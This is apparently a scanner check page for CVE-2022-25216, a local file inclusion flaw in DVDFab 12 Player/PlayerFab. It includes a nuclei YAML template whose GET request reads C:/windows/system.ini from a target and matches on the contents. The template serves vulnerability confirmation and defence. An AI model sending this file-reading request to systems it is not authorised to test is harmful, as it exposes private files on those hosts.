DVDFab 12 Player/PlayerFab - Local File Inclusion

highseverity

7.5CVSS score

13.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.

Impact

The vulnerability allows an attacker to include arbitrary local files, potentially leading to unauthorized access, information disclosure.

Fix

Apply the latest patch or update from the vendor to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25216 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-25216

info:
  name: DVDFab 12 Player/PlayerFab - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, potentially leading to unauthorized access, information disclosure.
  remediation: |
    Apply the latest patch or update from the vendor to fix the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2022-07
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25216
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-25216
    cwe-id: CWE-22
    epss-score: 0.13475
    epss-percentile: 0.9647
    cpe: cpe:2.3:a:dvdfab:12_player:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dvdfab
    product: 12_player
  tags: cve,cve2022,dvdFab,lfi,lfr,tenable,dvdfab,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from